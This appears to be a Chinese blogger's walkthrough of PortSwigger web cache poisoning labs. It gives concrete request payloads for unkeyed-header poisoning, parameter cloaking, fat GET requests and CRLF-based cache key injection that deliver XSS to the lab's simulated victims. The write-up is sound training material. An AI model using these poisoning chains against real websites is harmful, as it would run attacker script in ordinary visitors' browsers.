靶场地址:https://portswigger.net/web-security/all-labs#web-cache-poisoning
该实验室容易受到网络缓存中毒的影响,因为它以不安全的方式处理来自未加密标头的输入。毫无戒心的用户会定期访问该网站的主页。
alert(document.cookie)
要完成此实验,请使用在访问者浏览器中 执行的响应来毒害缓存。提示:本实验支持
X-Forwarded-Host
标头。
首先使用bp插件param miner来查找缓存键
发现x-forwarded-host
会影响响应页面
测试发现,访问带着这个头,会在请求的静态资源文件前面添加这个头的值
然后再次访问,可以发现X-Cache: hit
,则说明当前的响应来自缓存
所以只需要让x-forwarded-host
的值为攻击者的恶意地址,并存入缓存,就能劫持受害者在访问主页时候加载的静态资源
然后再次访问主页,可以发现就会弹窗
该实验很容易受到Web 缓存中毒的影响,因为 cookie 不包含在缓存密钥中。毫无戒心的用户会定期访问该网站的主页。
alert(1)
要完成此实验,请使用在访问者浏览器中 执行的响应来毒害缓存。
可以发现,响应页面里的值受请求的cookie的影响,且会被缓存
所以只需要构造一个xss即可,然后用intruder一直发包,直到被缓存
再访问页面会弹窗
此实验包含一个Web 缓存中毒漏洞,仅当您使用多个标头来制作恶意请求时才可利用该漏洞。用户大约每分钟访问一次主页。
alert(document.cookie)
要完成此实验,请使用在访问者浏览器中 执行的响应来毒害缓存。
首先用parma miner来fuzz一下哪些标头会对返回包造成影响
可以发现,有两个标头会影响返回包
x-forwarded-host
和x-forwarded-scheme
然后可以发现,当x-forwarded-scheme
有值的时候,响应包就会302跳转到X-Forwarded-Host
指定的域名,并且会被缓存
发现,网页会请求静态资源文件
我们只要把请求这个资源的路径进行缓存投毒,让受害者请求这个资源的时候,是请求的我构造的缓存,这样就能劫持受害者请求的静态资源,从而造成弹窗
我这里是把https取消掉才可以成功访问到exploit端的资源,但是后面测试,使用https也是可以的,不知道为什么
成功存入缓存,然后再访问主页,就会弹窗
该实验室容易受到网络缓存中毒的影响。受害者用户将查看您发布的任何评论。
alert(document.cookie)
要完成此实验,您需要使用在访问者浏览器中执行的响应来毒害缓存。但是,您还需要确保将响应提供给目标受害者所属的特定用户子集。
查看响应包可以知道,vary的值为User-Agent
,User-Agent
也就是服务器的缓存键
然后使用parma miner
来爆破是否存在隐藏标头
找到了两个
然后可以看到,x-host
标头会影响页面请求静态资源的url路径,而且需要有origin标头的时候,才会造成影响
所以还是对静态资源文件的访问进行缓存投毒,因为受害者会查看评论,所以对文章页面进行投毒
但是在日志里看不到受害者的访问,原因就是我们缓存进去的User-agent和受害者的不一样,所以得通过其他方式来获得受害者的user-agent
在文章评论区可以发现,评论可以解析html,所以用img标签来获得受害者的user-agent头
查看日志,可以得到受害者的user-agent
然后用这个user-agent进行缓存投毒
就可以让受害者访问当前页面的时候进行弹窗
该实验室包含一个基于 DOM 的漏洞,可被利用作为Web 缓存中毒攻击的一部分。用户大约每分钟访问一次主页。请注意,本实验使用的缓存对于决定哪些响应可缓存有更严格的标准,因此您需要仔细研究缓存行为。
alert(document.cookie)
要解决该实验室问题,请使用在访问者浏览器中 执行的响应来毒害缓存。
点击一个商品页面,查看网络可以发现他其中的js文件会想一个url请求json数据,并进行dom操作
1 | function initGeoLocate(jsonUrl) |
在网页源代码可以看到调用这个函数的地方
1 | <script> |
data的值在这定义
使用parma miner来查看是否有标头会对data.host
的值造成影响
找到了x-forwarded-host
发现这个确实会对host的值造成影,并且存入缓存
在插入输入的地方,只有j.country
的值是我们可控的,使用下面的payload可以造成dom xss
1 | </div><img src=xxx onerror=alert(1)>X</div><div> |
然后对json格式的数据进行伪造
进行缓存投毒
如何这个时候直接访问页面的话,会发现cors错误
因为是跨域请求资源,所以得配置一下cors
Access-Control-Allow-Origin: *
再重新缓存投毒
再次访问就会弹窗
为了让靶场的bot访问页面,我就是要intruder一直发一直缓存,直到bot访问页面造成弹窗
md,一直不能solved,不管了,反正我是成功了的
本实验容易受到网络缓存中毒的影响,但前提是您构建了复杂的漏洞利用链。
用户大约每分钟访问一次主页,并且他们的语言设置为英语。
alert(document.cookie)
要完成此实验,请使用在访问者浏览器中 执行的响应来毒害缓存。
先用parma miner来查看哪些标头会对响应包产生影响
x-forwarded-host
x-forwarded-host
会影响data.host
的值
然后这里有函数调用了data.host
的值
函数文件为/resources/js/translations.js
1 | function initTranslations(jsonUrl) |
他原本请求的json数据如下
然后我们通过缓存投毒可控的地方为
控制innerHTML即可控制网页源码
总结来说,就是通过翻译,可以把对应的英文字符串替换为其他语言的
如果翻译为中文
将view details
替换为查看详细
所以只要控制这里,将其替换为xss payload,即可进行攻击
exploit-server配置如下:
因为是跨域的,所以需要设置cors
Access-Control-Allow-Origin: *
1 | { |
首先测试一下使用其他语言能否弹窗
投毒
发现使用其他语言是会弹窗的。
但是这里有个问题,只有cookie里lang的值不为en的时候才会执行他的翻译函数,而受害者又偏偏是使用的英语。
在通过下拉框选择语言的时候,可以发现会请求https://0ab500b90310aed680d96c3b002b0080.web-security-academy.net/setlang/es?
然后通过这个来设置cookie里lang的值
但是无法进行缓存,因为他有Set-Cookie
返回头
但是可以发现主页有使用反斜杠作为路径分割的,服务器会通过重定向来将他们规范为正斜杠
类似于这样
这样就不会有Set-Cookie
而且会存入缓存
我之前忽视了一个标头x-original-url
,这个自定义标头可以控制访问的路径,且会存入缓存,一般用来绕过访问控制
当正常访问/?a=123
的时候就会读取缓存的内容
如果我们设置值为/setlang/es
,那么就会返回正常访问/setlang/es
的响应
结合上面说的,通过反斜杠使服务器通过302跳转来规范为正斜杠的操作,让访问/setlang/es
的响应没有Set-Cookie
头,从而成功缓存
所以设置为X-Original-Url: /setlang\es
这样一来,只要我们将主页进行缓存投毒,就可以强制让任何用户使用es翻译,从而进行弹窗
先给访问json数据的url进行投毒
再使用X-Original-URL: /setlang\es
给/
投毒
然后访问主页,就会自动切换为es并进行dom xss
该实验很容易受到Web 缓存中毒的影响,因为查询字符串不被视为缓存键。用户经常使用 Chrome 访问该网站的主页。
alert(1)
要解决该实验室问题,请使用在受害者浏览器中 执行的响应来毒害主页。
输入任意查询字符可以发现任然是获取的缓存,可以说明查询字符串不是缓存键
方便测试,我们需要找到一个缓存破坏器
我通过遍历headers的方式可以发现这个都可以用来作为缓存破坏器
我就使用Origin
了
可以发现,查询字符串的内容会对页面造成影响
如果是在link标签里直接xss的话,用户就只有通过按组合键才能触发
- 在 Windows 上:
ALT+SHIFT+X
- 在 MacOS 上:
CTRL+ALT+X
- 在 Linux 上:
Alt+X
但是可以逃逸出link标签
把origin删除后,在进行投毒,就能让受害者弹窗
此实验容易受到Web 缓存中毒的影响,因为它从缓存密钥中排除了某个参数。用户经常使用 Chrome 访问该网站的主页。
alert(1)
要解决该实验室问题,请使用在受害者浏览器中 执行的响应来毒害缓存。
首先用param miner猜测一下查询参数名
找到一个utm_content
带上这个参数访问,可以发现返回的是缓存内容,所以说明这个参数名不是缓存键
但是如果是其他参数的话,就是缓存键了
利用非缓存键的参数名进行缓存投毒
/?utm_content=%27/><script>alert(1)</script><link+href=%27
然后访问主页就会造成弹窗
此实验容易受到Web 缓存中毒的影响,因为它从缓存密钥中排除了某个参数。缓存和后端的参数解析也不一致。用户经常使用 Chrome 访问该网站的主页。
alert(1)
要解决该实验室问题,请使用参数隐藏技术,通过在受害者浏览器中 执行的响应来毒害缓存。
首先可以看到,查询字符串以及参数都在缓存键内
但是可能会有utm参数不在缓存键内,从而当做我们的缓存破坏器
【utm参数就是用来分析推广数据的】
用param miner来找此参数名,emmmm,没扫到,直接试试utm_content
,发现确实不是缓存键(dog
而且能被缓存
但是如果直接尝试利用这个参数进行缓存投毒造成xss的话,他会报错
带上utm_content
参数后,再用parma miner检测一下隐藏参数,前提是知道这个网站是用Ruby on Rails 框架搭建的
扫到了参数隐藏
如何理解这里是存在隐藏参数?
首先看使用utm_content参数去访问一个页面的响应
在响应包里,有个Set-Cookie头,这个是后端返回来的值,且值为我们传进去的utm_content的值
再来看看检测的结果
可以看到,后端返回的Set-Cookie
的值不是q
,而是akzldka
。这个就是ruby on rails的一个特性,会将;
当做分割符号,同时如果存在多个相同的参数名,最终会取最后一个参数的值。所以这里最终向后端传入的utm_content
的值就为akzldka
。最重要的是,utm_content
还不是缓存键
再来看响应包里有个/js/geolocate.js?callback=setCountryCookie
发现可以通过修改callback
的值来修改返回的内容
所以接下来,我们要做的就是,利用缓存器和后端的解析差异,进行缓存投毒,修改/js/geolocate.js?callback=
返回的内容
payload如下
1 | /js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1) |
当再次访问/js/geolocate.js?callback=setCountryCookie
时,就会命中缓存
原理其实就是缓冲器看到的和后端看到的不一样,从而造成的隐藏参数缓存投毒。
需要修改一下payload,否则弹不了窗
1 | /js/geolocate.js?callback=setCountryCookie&utm_content=1aaa;callback=alert(1)%3bsetCountryCookie |
该实验室容易受到网络缓存中毒的影响。它接受
GET
且具有body的请求,但不将body包含在缓存键中。用户经常使用 Chrome 访问该网站的主页。
alert(1)
要解决该实验室问题,请使用在受害者浏览器中 执行的响应来毒害缓存。
有个callback参数,可以设置响应包
响应包可控
同时他还接受body里的值,且优先级高于get查询参数里的
再访问/js/geolocate.js?callback=setCountryCookie
后,会命中缓存
从而造成xss
此实验室包含一个 XSS 漏洞,由于浏览器 URL 编码,该漏洞无法直接利用。
要解决该实验室问题,请利用缓存的规范化过程来利用此漏洞。
alert(1)
找到 XSS 漏洞并注入将在受害者浏览器中执行的有效负载。然后,将恶意 URL 传递给受害者。
访问的路径会在响应包中有显示
如果构造如下payload,就会造成xss
1 | /raaa<p><script>alert(1)</script></p> |
show response in browers
但是,如果我们直接访问这个url的话,浏览器会自动进行url编码,导致这个xss无法成功
但是这里其实还是可以xss的,因为url编码是浏览器做的事情,缓存器将url编码前和url编码后的查询字符串看做是同一个缓存键,所以,即使浏览器会将其编码再访问,获得的响应还是url编码前的内容
如
编码后的
这个时候再访问相同的链接,也可以造成xss
然后先投毒,再给受害者发送http://0ad300140309374d8133937e001a0080.web-security-academy.net/raaa%3Cp%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/p%3E
即可成功解决lab
该实验室包含多个独立漏洞,包括缓存密钥注入。用户经常使用 Chrome 访问该网站的主页。
要解决该实验室问题,请结合漏洞
alert(1)
在受害者的浏览器中执行。请注意,您需要使用Pragma: x-get-cache-key
标头才能完成本实验。
访问/
会看到他会302跳转
跳转之后他会再次302跳转,只是会在?
前添加一个/
,且会命中缓存
同时会在页面显示,但是这里的页面是无缓存的。所以如果要通过影响响应包的内容,只有通过第二次跳转来控制
而且可以知道的是,?lang=en
是在缓存键里的。那么就需要找一个非缓存键的参数
用param miner扫描一下,又是老熟人:utm_content
将其添加到/login?lang=en
后面
再次访问,可以命中缓存
但是如果我想通过这种方式来进行xss的话,会有waf拦截
所以得换种方式了
再看
同时修改lang的值也会改变这里src的值
如果将cors的值修改为1,那么就会使用origin的值
而且从响应包里的X-Cache-Key
可以得出存在缓存键注入
即,访问/js/localize.js?lang=enaa?&cors=1$$origin=123
,会命中相同的缓存
修改origin的值,利用CRLF修改响应包,来造成xss
这里要注意控制$$的数量,才能成功命中缓存
经过测试,查询里的两个$
对应着origin里的四个$
1 | Origin: 123%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1) |
再访问/js/localize.js?lang=en?cors=1$$origin=x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$
可以命中相同的缓存
为了让cors的值为1,可以在后面加上#
来阻隔后面固定添加的cors=0
利用这一点,来进行xss
现在利用点弄清楚了,需要回到开头,对/login?lang=en
进行缓存投毒。在前面我们知道,可以修改参数lang后面的值,来修改对这个js文件的引入
所以只需要发送一下请求包,即可对/login?lang=en
进行投毒
需要进行一次url编码
%23就是#
是为了让页面自动添加的cors=0失效
1 | GET /login?lang=en?utm_content=x%26cors=1$$origin=x%250d%250aContent-Length:%25208%250d%250a%250d%250aalert(1)$$%23 |
所以攻击步骤就是,先发包对js文件进行投毒
1 | GET /js/localize.js?lang=en?utm_content=z&cors=1 HTTP/2 |
然后再发包对/login?lang=en
进行投毒
1 | GET /login?lang=en?utm_content=x%26cors=1$$origin=x%250d%250aContent-Length:%25208%250d%250a%250d%250aalert(1)$$%23 |
再访问主页的时候,就会弹窗
该实验室容易受到网络缓存中毒的影响。它使用多层缓存。用户经常使用 Chrome 访问该网站的主页。
要解决该实验室问题,请毒害内部缓存,以便主页
alert(document.cookie)
在受害者的浏览器中执行。
添加X-Forwarded-Host: exploit-0a0100df03f51a66804607ac011b004a.exploit-server.net
标头的时候,响应包里对静态资源文件的请求会发发生变化
但是对/js/geolocate.js?callback=loadCountry
的请求不会变
多次发送,直到他内部缓存的此连接被exploit的url覆盖
经过多次发送后,对/js/geolocate.js?callback=loadCountry
的请求也被覆盖
然后修改一下exploit服务器上的返回内容,进行xss
如果一个靶机一直不行的话,就新开个靶机再这样尝试即可